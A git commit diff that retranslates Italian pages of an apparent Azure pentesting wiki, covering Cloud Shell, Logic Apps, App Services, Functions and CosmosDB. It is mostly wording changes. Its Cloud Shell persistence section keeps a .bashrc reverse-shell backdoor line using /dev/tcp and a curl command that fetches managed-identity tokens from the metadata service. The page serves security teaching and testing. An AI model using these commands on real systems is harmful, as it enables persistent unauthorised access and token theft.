Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

This commit is contained in:
Translator
2025-01-26 18:00:19 +00:00
parent 234daee4bb
commit 92eb3a323a
11 changed files with 41 additions and 39 deletions

View File

@@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
## Cloud Shell Persistence
Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con archiviazione persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:
Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con storage persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:
* **Archiviazione Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
* **Storage Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell.
Esempio di backdoor in .bashrc:
@@ -30,9 +30,9 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/
```
{% endcode %}
Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata terminata dall'utente.
Questo backdoor può eseguire comandi anche 5 minuti dopo che l'utente ha terminato la cloud shell.
Inoltre, interroga il servizio di metadata di Azure per dettagli sull'istanza e token:
Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token:
{% code overflow="wrap" %}
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

View File

@@ -23,7 +23,7 @@ Per ulteriori informazioni sulle logic apps controlla:
{% endcontent-ref %}
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate dal sistema e identità gestite assegnate dall'utente ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate al sistema e identità gestite assegnate dagli utenti ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
{% code overflow="wrap" %}
```bash
@@ -142,7 +142,7 @@ az logic integration-account partner create \
{% endcode %}
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate su un periodo definito.
Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione di Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate per un periodo definito.
{% code overflow="wrap" %}
```bash

View File

@@ -21,14 +21,14 @@ Le app hanno alcune configurazioni interessanti:
- Questo è essenziale se hai un webjob che deve funzionare continuamente, poiché il webjob si fermerà se l'app si ferma.
- **SSH**: Se abilitato, un utente con permessi sufficienti può connettersi all'app utilizzando SSH.
- **Debugging**: Se abilitato, un utente con permessi sufficienti può eseguire il debug dell'app. Tuttavia, questo viene disabilitato automaticamente ogni 48 ore.
- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache di Azure per Redis.
- L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**.
- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache Azure per Redis.
- L'URL contenente le credenziali per il database e Redis sarà memorizzato in **appsettings**.
- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (Sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
## Basic Authentication
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita fondamentalmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita sostanzialmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Per accedere ai server SCM e FTP, è richiesta una **username e password**. Pertanto, Azure fornisce alcune **API per ottenere gli URL** per queste piattaforme e le credenziali.
@@ -70,7 +70,7 @@ App Services consentono di caricare il codice come file zip per impostazione pre
## Webjobs
Azure WebJobs sono **compiti in background che vengono eseguiti nell'ambiente Azure App Service**. Consentono agli sviluppatori di eseguire script o programmi insieme alle loro applicazioni web, facilitando la gestione di operazioni asincrone o intensive nel tempo come l'elaborazione di file, la gestione dei dati o compiti programmati.
Azure WebJobs sono **compiti in background che vengono eseguiti nell'ambiente Azure App Service**. Consentono agli sviluppatori di eseguire script o programmi insieme alle loro applicazioni web, facilitando la gestione di operazioni asincrone o intensive in termini di tempo come l'elaborazione di file, la gestione dei dati o compiti programmati.
Ci sono 2 tipi di web jobs:
- **Continuous**: Esegue indefinitamente in un ciclo ed è attivato non appena viene creato. È ideale per compiti che richiedono un'elaborazione costante. Tuttavia, se l'app smette di funzionare perché Always On è disabilitato e non ha ricevuto una richiesta negli ultimi 20 minuti, il web job si fermerà anche.
- **Triggered**: Esegue su richiesta o in base a un programma. È più adatto per compiti periodici, come aggiornamenti batch dei dati o routine di manutenzione.
@@ -81,7 +81,7 @@ Inoltre, è sempre interessante controllare i **log** generati dai Webjobs poich
## Slots
Gli Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** nello stesso App Service. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione.
Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** allo stesso App Service. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione.
Inoltre, è possibile instradare una **percentuale del traffico** a uno slot specifico, utile per test A/B e per **scopi di backdoor**.
@@ -89,7 +89,7 @@ Inoltre, è possibile instradare una **percentuale del traffico** a uno slot spe
Fondamentalmente **le Azure Function apps sono un sottoinsieme di Azure App Service** nella console web e se vai alla console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli sarai in grado di **vedere anche le Function apps elencate lì**.
Pertanto, entrambi i servizi hanno in realtà per lo più le **stesse configurazioni, funzionalità e opzioni nell'az cli**, anche se potrebbero configurarle in modo leggermente diverso (come i valori predefiniti delle appsettings o l'uso di un Account di Archiviazione nelle Function apps).
Pertanto, entrambi i servizi hanno in realtà per lo più le **stesse configurazioni, funzionalità e opzioni nell'az cli**, anche se potrebbero configurarle in modo leggermente diverso (come i valori predefiniti di appsettings o l'uso di un Account di Archiviazione nelle Function apps).
## Enumeration
@@ -296,7 +296,7 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github.
1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github.
2. Crea una nuova Web App Python in Azure.
3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
3. In `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.

View File

@@ -17,7 +17,7 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).p
## Azure Cloud Shell
**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser progettato per gestire le risorse Azure, offrendo la flessibilità di lavorare con Bash o PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile Azure e l'estensione Azure Account di Visual Studio Code.
**Azure Cloud Shell** è un terminale interattivo, autenticato e accessibile tramite browser progettato per gestire le risorse Azure, offrendo la flessibilità di lavorare con Bash o PowerShell. Funziona su un host temporaneo, per sessione, che scade dopo 20 minuti di inattività, mentre i file vengono mantenuti nella posizione $HOME utilizzando una condivisione di file da 5 GB. Cloud Shell può essere accessibile attraverso più punti, inclusi il portale Azure, shell.azure.com, la documentazione di Azure CLI e PowerShell, l'app mobile di Azure e l'estensione Azure Account di Visual Studio Code.
Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di escalation dei privilegi. Inoltre, non c'è alcun tipo di enumerazione.

View File

@@ -1,8 +1,8 @@
# Az - CosmosDB
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@@ -10,14 +10,14 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/image (2) (1).p
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}
## Azure CosmosDB
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta in millisecondi a cifra singola, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione di dati multi-regione chiavi in mano, API open-source, SDK per linguaggi popolari e funzionalità di database AI come supporto vettoriale integrato e integrazione senza soluzione di continuità con Azure AI.
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a singola cifra in millisecondi, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione di dati multi-regione chiavi in mano, API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
Azure Cosmos DB fornisce più API di database per modellare dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
@@ -203,7 +203,7 @@ print("Document inserted.")
{% endcode %}
### MongoDB
L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendolo adatto per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato:
L'API NoSQL di MongoDB è un'API basata su documenti che utilizza BSON (Binary JSON) simile a JSON come formato dei dati. Fornisce un linguaggio di query con capacità di aggregazione, rendendola adatta per lavorare con dati strutturati, semi-strutturati e non strutturati. L'endpoint del servizio segue tipicamente questo formato:
{% code overflow="wrap" %}
```bash

View File

@@ -36,32 +36,32 @@ Nota che le Funzioni consentono anche di memorizzare il codice in una posizione
Utilizzando un trigger HTTP:
- È possibile dare **accesso a una funzione da tutto Internet** senza richiedere alcuna autenticazione o dare accesso basato su IAM. Anche se è possibile limitare questo accesso.
- È possibile dare **accesso a una funzione da tutto Internet** senza richiedere alcuna autenticazione o dare accesso basato su IAM. Sebbene sia anche possibile limitare questo accesso.
- È anche possibile **dare o limitare l'accesso** a una Function App da **una rete interna (VPC)**.
> [!CAUTION]
> Questo è molto interessante dal punto di vista di un attaccante poiché potrebbe essere possibile **pivotare verso reti interne** da una Function vulnerabile esposta a Internet.
### **Impostazioni della Function App & Variabili d'Ambiente**
### **Impostazioni della Function App e Variabili d'Ambiente**
È possibile configurare variabili d'ambiente all'interno di un'app, che potrebbero contenere informazioni sensibili. Inoltre, per impostazione predefinita, le variabili d'ambiente **`AzureWebJobsStorage`** e **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (tra le altre) vengono create. Queste sono particolarmente interessanti perché **contengono la chiave dell'account per controllare con PERMESSI COMPLETI l'account di archiviazione contenente i dati dell'applicazione**. Queste impostazioni sono anche necessarie per eseguire il codice dall'Account di Archiviazione.
Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL dove si trova il codice dell'applicazione.
Queste variabili d'ambiente o parametri di configurazione controllano anche come la Funzione esegue il codice, ad esempio se **`WEBSITE_RUN_FROM_PACKAGE`** esiste, indicherà l'URL in cui si trova il codice dell'applicazione.
### **Sandbox della Funzione**
All'interno della sandbox linux il codice sorgente si trova in **`/home/site/wwwroot`** nel file **`function_app.py`** (se viene utilizzato python) l'utente che esegue il codice è **`app`** (senza permessi sudo).
All'interno della sandbox linux, il codice sorgente si trova in **`/home/site/wwwroot`** nel file **`function_app.py`** (se viene utilizzato python) l'utente che esegue il codice è **`app`** (senza permessi sudo).
In una **funzione Windows** che utilizza NodeJS il codice si trovava in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, il nome utente era **`mawsFnPlaceholder8_f_v4_node_20_x86`** ed era parte dei **gruppi**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
In una **funzione Windows** che utilizza NodeJS, il codice si trovava in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, il nome utente era **`mawsFnPlaceholder8_f_v4_node_20_x86`** ed era parte dei **gruppi**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
### **Identità Gestite & Metadati**
### **Identità Gestite e Metadati**
Proprio come [**VM**](vms/index.html), le Funzioni possono avere **Identità Gestite** di 2 tipi: Assegnate dal sistema e Assegnate dall'utente.
L'**identità assegnata dal sistema** sarà un'identità gestita che **solo la funzione** a cui è assegnata potrà utilizzare, mentre le identità gestite **assegnate dall'utente** sono identità gestite che **qualsiasi altro servizio Azure potrà utilizzare**.
> [!NOTE]
> Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se comprometti la funzione perché potresti essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione.
> Proprio come in [**VM**](vms/index.html), le Funzioni possono avere **1 identità gestita assegnata dal sistema** e **diverse identità assegnate dall'utente**, quindi è sempre importante cercare di trovare tutte se si compromette la funzione perché si potrebbe essere in grado di aumentare i privilegi a diverse identità gestite da una sola Funzione.
>
> Se non viene utilizzata un'identità gestita dal sistema ma una o più identità gestite dall'utente sono collegate a una funzione, per impostazione predefinita non sarà possibile ottenere alcun token.
@@ -85,9 +85,9 @@ Quando si crea un endpoint all'interno di una funzione utilizzando un **trigger
**Tipo di chiavi:**
- **Chiavi di Funzione:** Le chiavi di funzione possono essere predefinite o definite dall'utente e sono progettate per concedere accesso esclusivamente a **specifici endpoint di funzione** all'interno di una Function App consentendo un accesso più dettagliato sugli endpoint.
- **Chiavi Host:** Le chiavi host, che possono essere anch'esse predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**.
- **Chiavi Host:** Le chiavi host, che possono essere predefinite o definite dall'utente, forniscono accesso a **tutti gli endpoint di funzione all'interno di una Function App con livello di accesso FUNCTION**.
- **Chiave Master:** La chiave master (`_master`) funge da chiave amministrativa che offre permessi elevati, incluso l'accesso a tutti gli endpoint di funzione (incluso il livello di accesso ADMIN). Questa **chiave non può essere revocata.**
- **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da specifiche estensioni** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API.
- **Chiavi di Sistema:** Le chiavi di sistema sono **gestite da estensioni specifiche** e sono necessarie per accedere agli endpoint webhook utilizzati dai componenti interni. Esempi includono il trigger Event Grid e le Funzioni Durature, che utilizzano chiavi di sistema per interagire in modo sicuro con le rispettive API.
> [!TIP]
> Esempio per accedere a un endpoint API di funzione utilizzando una chiave:
@@ -104,7 +104,7 @@ az-app-services.md
### Distribuzioni Basate su Github
Quando una funzione è generata da un repo Github, la console web di Azure consente di **creare automaticamente un Workflow Github in un repository specifico** in modo che ogni volta che questo repository viene aggiornato, il codice della funzione venga aggiornato. In realtà, il file yaml dell'azione Github per una funzione python appare così:
Quando una funzione viene generata da un repo Github, la console web di Azure consente di **creare automaticamente un Workflow Github in un repository specifico** in modo che ogni volta che questo repository viene aggiornato, il codice della funzione venga aggiornato. In realtà, il file yaml dell'azione Github per una funzione python appare così:
<details>

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
## Informazioni di Base
Azure Logic Apps è un servizio basato su cloud fornito da Microsoft Azure che consente agli sviluppatori di **creare e eseguire flussi di lavoro che integrano vari servizi**, fonti di dati e applicazioni. Questi flussi di lavoro sono progettati per **automatizzare i processi aziendali**, orchestrare attività e eseguire integrazioni di dati tra diverse piattaforme.
@@ -10,8 +10,8 @@ Logic Apps offre un designer visivo per creare flussi di lavoro con un **ampia g
### Esempi
- **Automatizzare i pipeline di dati**: Logic Apps può automatizzare **i processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di archiviazione Azure, consentendo un'elaborazione dinamica dei dati.
- **Automazione dei Data Pipeline**: Logic Apps può automatizzare **processi di trasferimento e trasformazione dei dati** in combinazione con Azure Data Factory. Questo è utile per creare pipeline di dati scalabili e affidabili che spostano e trasformano i dati tra vari archivi di dati, come Azure SQL Database e Azure Blob Storage, supportando le operazioni di analisi e business intelligence.
- **Integrazione con Azure Functions**: Logic Apps può lavorare insieme ad Azure Functions per sviluppare **applicazioni sofisticate e basate su eventi che scalano secondo necessità** e si integrano perfettamente con altri servizi Azure. Un esempio di caso d'uso è utilizzare un Logic App per attivare una Azure Function in risposta a determinati eventi, come cambiamenti in un account di Azure Storage, consentendo un'elaborazione dinamica dei dati.
### Visualizza un LogicAPP
@@ -38,7 +38,7 @@ Ci sono diverse opzioni di hosting:
- **Multi-tenant**: fornisce risorse di calcolo condivise, opera nel cloud pubblico e segue un modello di prezzo pay-per-operation. Questo è ideale per carichi di lavoro leggeri e convenienti.
* **Standard**
- **Workflow Service Plan**: risorse di calcolo dedicate con integrazione VNET per il networking e addebiti per ogni istanza del piano di servizio workflow. È adatto per carichi di lavoro più esigenti che richiedono un maggiore controllo.
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. Questo è ideale per applicazioni su scala aziendale che necessitano di elevato isolamento.
- **App Service Environment V3** risorse di calcolo dedicate con piena isolamento e scalabilità. Si integra anche con VNET per il networking e utilizza un modello di prezzo basato sulle istanze di App Service all'interno dell'ambiente. Questo è ideale per applicazioni su scala aziendale che necessitano di alta isolamento.
- **Hybrid** progettato per l'elaborazione locale e il supporto multi-cloud. Consente risorse di calcolo gestite dal cliente con accesso alla rete locale e utilizza Kubernetes Event-Driven Autoscaling (KEDA).
### Enumerazione

View File

@@ -28,7 +28,7 @@ Alcune funzioni avanzate sono:
- **Consegna Programmata**: Ritarda l'elaborazione dei messaggi per compiti futuri.
- **Rinvio dei Messaggi**: Posticipa il recupero dei messaggi fino a quando non è pronto.
- **Transazioni**: Raggruppa operazioni in esecuzione atomica.
- **Filtri & Azioni**: Applica regole per filtrare o annotare i messaggi.
- **Filtri e Azioni**: Applica regole per filtrare o annotare i messaggi.
- **Auto-Cancellazione in Idle**: Elimina le code dopo inattività (min: 5 minuti).
- **Rilevamento dei Duplicati**: Rimuove messaggi duplicati durante i reinvii.
- **Cancellazione in Batch**: Elimina in blocco messaggi scaduti o non necessari.

View File

@@ -32,7 +32,7 @@ Tuttavia, questo **non mostrerà la password in chiaro**, solo qualcosa come: `"
### Routes & Roles
Le route definiscono **come vengono gestite le richieste HTTP in entrata** all'interno di un'app web statica. Configurate nel file **`staticwebapp.config.json`**, controllano la riscrittura degli URL, le redirezioni, le restrizioni di accesso e l'autorizzazione basata sui ruoli, garantendo una corretta gestione delle risorse e sicurezza.
Le route definiscono **come vengono gestite le richieste HTTP in entrata** all'interno di un'app web statica. Configurate nel file **`staticwebapp.config.json`**, controllano la riscrittura degli URL, i reindirizzamenti, le restrizioni di accesso e l'autorizzazione basata sui ruoli, garantendo una corretta gestione delle risorse e sicurezza.
Alcuni esempi:
```json
@@ -65,7 +65,7 @@ Alcuni esempi:
Nota come sia possibile **proteggere un percorso con un ruolo**, quindi, gli utenti dovranno autenticarsi nell'app e ricevere quel ruolo per accedere al percorso. È anche possibile **creare inviti** che concedono ruoli specifici a utenti specifici che accedono tramite EntraID, Facebook, GitHub, Google, Twitter, il che potrebbe essere utile per elevare i privilegi all'interno dell'app.
> [!TIP]
> Nota che è possibile configurare l'App in modo che **le modifiche al file `staticwebapp.config.json`** non vengano accettate. In questo caso, potrebbe non essere sufficiente cambiare il file da Github, ma anche **modificare l'impostazione nell'App**.
> Nota che è possibile configurare l'App in modo che **le modifiche al file `staticwebapp.config.json`** non vengano accettate. In questo caso, potrebbe non essere sufficiente cambiare solo il file da Github, ma anche **cambiare l'impostazione nell'App**.
L'URL di staging ha questo formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` come: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`